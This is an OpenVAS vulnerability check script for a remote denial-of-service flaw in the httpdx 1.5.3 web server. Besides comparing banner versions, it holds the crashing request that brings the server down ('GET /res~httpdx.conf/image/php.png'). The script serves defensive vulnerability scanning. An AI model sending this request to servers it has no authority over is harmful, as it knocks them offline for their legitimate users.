httpdx PNG File Handling Remote Denial of Service Vulnerability

2010-03-11T00:00:00
ID OPENVAS:1361412562310100525
Type openvas
Reporter This script is Copyright (C) 2010 Greenbone Networks GmbH
Modified 2019-05-13T00:00:00

Description

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# OpenVAS Vulnerability Test
#
# httpdx PNG File Handling Remote Denial of Service Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100525");
  script_version("2019-05-13T14:05:09+0000");
  script_tag(name:"last_modification", value:"2019-05-13 14:05:09 +0000 (Mon, 13 May 2019)");
  script_tag(name:"creation_date", value:"2010-03-11 12:36:18 +0100 (Thu, 11 Mar 2010)");
  script_bugtraq_id(38638);
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_name("httpdx PNG File Handling Remote Denial of Service Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/38638");
  script_xref(name:"URL", value:"http://sourceforge.net/projects/httpdx/");

  script_category(ACT_MIXED_ATTACK);
  script_family("Denial of Service");
  script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("httpdx/banner");

  script_tag(name:"summary", value:"The 'httpdx' program is prone to a denial-of-service vulnerbaility.");

  script_tag(name:"impact", value:"Remote attackers can exploit this issue to cause the server to stop
  responding, denying service to legitimate users.");

  script_tag(name:"affected", value:"httpdx 1.5.3, other versions may also be affected.");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("version_func.inc");

port = get_http_port(default:80);
banner = get_http_banner(port: port);

if(!banner || "httpdx/" >!< banner)
  exit(0);

if(safe_checks()) {
  version = eregmatch(pattern: "httpdx/([0-9.]+)", string: banner);
  if(isnull(version[1]))exit(0);
  if(version_is_equal(version: version[1], test_version: "1.5.3")) {
    security_message(port:port);
    exit(0);
  }
} else {

  if(http_is_dead(port:port))
    exit(0);

  url = string("GET /res~httpdx.conf/image/php.png");
  req = http_get(item:url, port:port);
  res = http_send_recv(port:port, data:req);

  if(http_is_dead(port:port)) {
    security_message(port:port);
    exit(0);
  }
}

exit(0);